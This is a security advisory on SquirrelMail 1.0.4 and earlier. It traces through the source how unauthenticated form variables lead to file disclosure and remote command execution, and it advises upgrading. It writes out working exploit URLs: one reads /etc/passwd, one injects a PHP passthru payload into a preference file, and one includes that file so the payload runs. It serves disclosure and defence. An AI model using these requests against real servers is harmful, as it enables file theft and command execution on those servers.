COMMAND

    SquirrelMail

SYSTEMS AFFECTED

    Versions up to and including 1.0.4

PROBLEM

    Following  is  based  on  a  Secure  Reality Security Advisory #10
    (SRADV00010).   SquirrelMail  is  an  amazingly  easy to use, good
    looking and functional web mail system written in PHP.

    In versions specified SquirrelMail makes insecure calls to the PHP
    function include().  Installations of  the versions  specified are
    vulnerable to attacks in which  the attacker gains the ability  to
    execute arbitrary  commands (and  code) on  the remote  web server
    with the permissions of the web server user, typically 'nobody'.

    This  description  will  be  best  understood  in conjunction with
    paper "A Study In  Scarlet - Exploiting Common  Vulnerabilities in
    PHP Applications" which can be downloaded from

        http://oliver.efri.hr/~crv/security/bugs/Others/php8.html
        http://www.securereality.com.au/archives.html

    The  problem  is  initially  spotted  with  a  trivial grep of the
    source.   The  following  line  of  code  in  load_prefs.php seems
    suspicious:

        39       require("$chosen_theme");

    The require() function tells PHP to read in the file specified  in
    the variable $chosen_theme and interpret it as though it were  PHP
    code.  If the attacker can affect $chosen_theme (with form  input)
    they  may  be  able  to  point  this at sensitive local files (e.g
    /etc/passwd) and have them returned or even worse, have their  own
    PHP interpreted which allows them to run arbitrary code.

    Looking higher in the file  we get a feel for  what load_prefs.php
    is meant to do:

        8     **  Loads preferences from the $username.pref file used by almost
        9     **  every other script in the source directory and alswhere.

    Ok,  so  its  a  file  that  is  typically include()d by other PHP
    scripts  that  loads   the  users  preferences   (where  user   is
    determined by  $username).   This is  looking really  good.   This
    file is a library  code file, its not  ever meant to be  requested
    by a remote user,  but it has the  correct extension (.php) to  be
    parsed as PHP code so a  remote attacker can request it.   Scripts
    like this  are typically  low hanging  fruit since  the fact  that
    they're meant  to be  included by  other scripts  often means they
    have a certain 'context' they're  meant to work in.   Without this
    context they're often easy to exploit.

    Looking from the top of the file at various housekeeping code:

        14    if (!isset($config_php))
        15       include("../config/config.php");
        16    if (!isset($prefs_php))
        17       include("../functions/prefs.php");
        18    if (!isset($plugin_php))
        19       include("../functions/plugin.php");
        20
        21    $load_prefs_php = true;
        22    if (!isset($username))
        23        $username = '';
        24    checkForPrefs($data_dir, $username);

    Ok, lines 14 to 19 are  interesting.  The code tries to  determine
    if its environment has  been well established (that  is, important
    code this page relies upon  has already been included).   However,
    this is not a secure way to determine if the environment has  been
    well constructed,  an attacker  can cause  $config_php, $prefs_php
    or $plugin_php to be set by submitting them as form variables  and
    thereby cause the required code not to be included.

    Having tried to construct a  sane environment the code goes  on to
    set a flag  indicating it has  been included (later  scripts check
    this variable before  trying to include  it, in the  same way that
    it checks for config.php  etc).  The code  then goes on to  insure
    that  $username  is  set  to  something  (note  that  no  code  to
    authenticate $username  is evident  yet).   The script  then calls
    checkForPrefs with  $data_dir (which  is a  configuration variable
    normally  set  in  config.php)  and $username (the unauthenticated
    user the remote requestor is claiming to be).

    checkForPrefs() is a  function defined in  ../functions/prefs.php.
    The following is the relevant code:

        116    /** This checks if there is a pref file, if there isn't, it will
        117        create it. **/
        118    function checkForPrefs($data_dir, $username) {
        119       $filename = "$data_dir$username.pref";
        120       if (!file_exists($filename)) {
        121          if (!copy("$data_dir" . "default_pref", $filename)) {
        122             echo _("Error opening ") ."$filename";
        123             exit;
        124          }
        125       }
        126    }

    Interesting.  When Squirrelmail is first installed the user  needs
    to  configure  a  data  directory   (that  must  be  writable   by
    Squirrelmail).  Squirrelmail stores attachments to be  downloaded,
    address book  details and  user preferences  in subdirectories  of
    this directory. This code  takes the unauthenticated username  and
    checks if a preferences file  exists for this user, if  it doesn't
    its created.  This will come in very handy later on.

    So back in load_prefs.php:

        26    $chosen_theme = getPref($data_dir, $username, "chosen_theme");
        27    $in_ary = false;
        28    for ($i=0; $i < count($theme); $i++){
        29           if ($theme[$i]["PATH"] == $chosen_theme) {
        30                  $in_ary = true;
        31                  break;
        32           }
        33    }
        34    if (!$in_ary) {
        35                 $chosen_theme = "";
        36    }

    This code reads the users preference of 'theme' (Squirrelmail  has
    a themeable  user interface)  into $chosen_theme.   It then  loops
    through  the  $theme[]  array  and  determines  if   $chosen_theme
    matches one of those themes.  If it doesn't its set to nothing.

    The $theme array is an array of valid themes set in config.php:

        46         $theme[0]["PATH"] = "../themes/default_theme.php";
        47         $theme[0]["NAME"] = "Default";
        48         $theme[1]["PATH"] = "../themes/plain_blue_theme.php";
        49         $theme[1]["NAME"] = "Plain Blue";
        50         $theme[2]["PATH"] = "../themes/sandstorm_theme.php";
        51         $theme[2]["NAME"] = "Sand Storm";
        52         $theme[3]["PATH"] = "../themes/deepocean_theme.php";
        53         $theme[3]["NAME"] = "Deep Ocean";
        54         $theme[4]["PATH"] = "../themes/slashdot_theme.php";

    This  makes  it  all  look  much  harder,  an  attacker can have a
    preferences  file  created  (checkForPrefs()  does that), but what
    then?   They  need  to  be  able  to  change  their "chosen_theme"
    preference to effect  the require() we  noted at the  start of all
    this but  if its  not set  to an  element of  the theme  array (of
    which none are interesting) it'll just be unset.

    As it turns out  it takes a rather  convoluted path to modify  the
    preferences file chosen_theme  without authenticating.   It should
    be clear how you could do so by the end of this advisory  however.
    Anyway, there's  much jucier  lines of  attack if  we look further
    into load_prefs.php.

        38    if ((isset($chosen_theme)) && (file_exists($chosen_theme))) {
        39       require("$chosen_theme");
        40    } else {
        41       if (file_exists($theme[0]["PATH"])) {
        42          require($theme[0]["PATH"]);
        43       } else {

    Ignoring  the  chosen_theme  we  spot  the $theme[0]['path'] code.
    This should stick out  like a sore thumb.   Recall that the  theme
    array comes from the config.php file.  This file is include()d  at
    the beginning  of load_prefs.php  but ONLY  if $config_php  is not
    configured.   So  the  immediately  obvious  attack  is to set the
    following as form input:

        username    = evilattacker
        config_php     = true
        theme[0][PATH] = /etc/passwd

    Which presumably  return the  password file  to the  attackers web
    browser.   Unfortunately  this  attack  is  foiled  and  typically
    results in an error message  something like 'Fatal error: Call  to
    undefined              function:              _()               in
    /home/html/squirrelmail-1.0.4/functions/prefs.php on line 122'  is
    generated.  This  is caused by  the checkForPrefs() routine.  It's
    checking if the user's preference file exists (as we saw  earlier)
    but  because  we  caused  config.php  not  to  be included when it
    constructs the  filename of  '$data_dir$username.pref' it  ends up
    with just  '<username>.pref'. Since  this is  a file  in the  root
    directory it  will never  be found  so it  tries to  create it and
    when this operation fails the script aborts.

    The  attacker  now  needs   to  provide  the  $data_dir   variable
    themselves.   It  should  be  hard  for  an  attacker to guess the
    location  but  unfortunately  one   of  the  scripts  leaks   this
    information.  Looking at the script options_display.php:

        19    if (!isset($page_header_php))
        20       include('../functions/page_header.php');

    This  is  just  one  of  the  includes  specified  at  the  top of
    options_display.php (which normally displays a users preferences).
    Its performed before any sort of authentication.

    In  the  file  page_header.php  (which  fairly  obviously normally
    provides a standard header for all the pages):

        21    // Check to see if gettext is installed
        22    $headers_sent=set_up_language(getPref($data_dir, $username, "language"));

    The above lines  of code try  to setup the  language of the  user.
    The call the following code from prefs.php:

        13    function getPref($data_dir, $username, $string) {
        14       $filename = "$data_dir$username.pref";
        15       if (!file_exists($filename)) {
        16          printf (_("Preference file %s not found. Exiting abnormally"), $filename);
        17          exit;
        18       }

    Looking at the above, before any authentication the page looks for
    '$data_dir$username.pref', if that isn't found it nicely tells  us
    the file it was looking for but couldn't find.  So, if an attacker
    requests  the  page  without  any  username  specified at all they
    receive      a      message       like      'Preference       file
    /var/squirrelmail/data/.pref  not   found.  Exiting   abnormally'.
    $data_dir is obviously the bit before '.pref'.

    The above  makes the  attack specified  earlier possible  with the
    following input:

        username    = evilattacker
        config_php     = true
        theme[0][PATH] = /etc/passwd
        data_dir       = <dir as found>

    If an attacker makes a request like

        http://<host>/squirrelmail-1.0.4/src/load_prefs.php?username=evilattacker&config_php=true&theme[0][PATH]=/etc/passwd&data_dir=/var/squirrelmail/data/

    they get a copy of the remote machines /etc/passwd file  delivered
    to their web browser.

    Presumably they're not going to  be happy with just this  level of
    access  and  would  like  to  further  exploit the problem to gain
    remote command  execution privileges.   This would  normally be  a
    relatively trivial exercise since  the attacker can pick  any file
    they wish  on the  remote machine  and have  it interpreted as PHP
    code.  Note that we can't  use a remote files attack here  because
    the code does a file_exists() on the file before including it  and
    file_exists()  does   not  work   with  the   PHP  remote    files
    functionality.

    The attacker just needs to get  code of their chosing into a  file
    on the remote machine.  As discussed in 'A Study In Scarlet' there
    are many ways to do this.  Our first attempt used file upload  but
    it failed as there appear to be some weird bugs in version of  PHP
    (4.0.4pl1)  with  uploading  a  file  into  a  field  with  a  two
    dimensional array name, this may well have been fixed since  then.
    Anyway,  trying  to  be  general  the  attacker  will  look for an
    alternate way to get code into a file on the remote machine.

    We  chose  the   most  obvious  avenue,   the  preferences   file.
    Squirrelmail has been kind enough to create this file for us,  its
    been kind enough to tell us which directory its in too so we  know
    its absolute filename.  The file looks like the following:

        full_name=
        reply_to=
        chosen_theme=../themes/plain_blue_theme.php
        show_num=25
        wrap_at=86
        editor_size=76
        left_refresh=None
        language=en
        location_of_bar=left
        location_of_buttons=between
        order1=1
        order2=2
        order3=3
        order4=5
        order5=4
        order6=6

    All we need  to do is  get PHP code  into this file  without being
    forced  to  authenticate.   This   ability  is  provided  by   the
    options_order.php  script.   options_order.php  normally  allows a
    user  to  specify  the  order  in  which  key  fields  of an email
    (Subject, From, To  etc) they'd like  displayed and in  what order
    they should  be displayed.   As can  be seen  above each  field is
    identified by a field number

        order<fieldnumber>=<place in display>

    However options_display doesn't  go to any  real effort to  verify
    what a user inputs:

        83    } else if ($method == 'add' && $add) {
        84       $index_order[count($index_order)+1] = $add;
        85    }
        86
        87    if ($method) {
        88       for ($i=1; $i <= count($index_order); $i++) {
        89          setPref($data_dir, $username, "order$i", $index_order[$i]);
        90       }
        91    }

    If the form  input contains a  'method' variable set  to 'add' the
    script assumes the  user has decided  to include another  field in
    the display.  The  then adds the field  to the end of  the list of
    fields to be displayed by placing its number (which it assumes  is
    in $add) to the end of the preferences list.  The problem is  that
    $add is a form variable that is normally set via a drown down list
    in the preferences page to a valid field number but if an attacker
    ignores the form and sets it themselves it can easily be anything.
    Once the new field has been added all the fields are saved in  the
    preferences file.

    An attacker  can therefore  specify something  the following input
    and have PHP code written to a known file:

        username     = evilattacker
        method       = add
        add          = "<?php passthru("/bin/ls /etc");"

    When the attacker makes the request like

        http://host/squirrelmail-1.0.4/src/options_order.php?username=evilattacker&method=add&add=<?php%20passthru("/bin/ls%20/etc");%20?>

    the code is written to '$data_dir$username.pref'.

    Now the attacker  can execute the  same attack as  specified above
    to retrieve the password file to execute the code they just  sent.
    The following request:

        http://server/squirrelmail-1.0.4/src/load_prefs.php?username=heyheyhey&config_php=true&theme[0][PATH]=/var/squirrelmail/data/evilattacker.pref&data_dir=/var/squirrelmail/data/

    would  then  result  in  a  listing  of  the  /etc directory being
    returned to  the attacker  in their  web browser.   Obviously  any
    command  could  be  specified  and  further  exploit code could be
    uploaded and executed as described in 'A Study In Scarlet'.

    As always with PHP there  are many caveats to the  attacks details
    in this advisory based on PHP configuration and version.

SOLUTION

    Later  versions  of  SquirrelMail  correct  this  problem.  Please
    download a version above 1.0.5 from:

        http://www.squirrelmail.org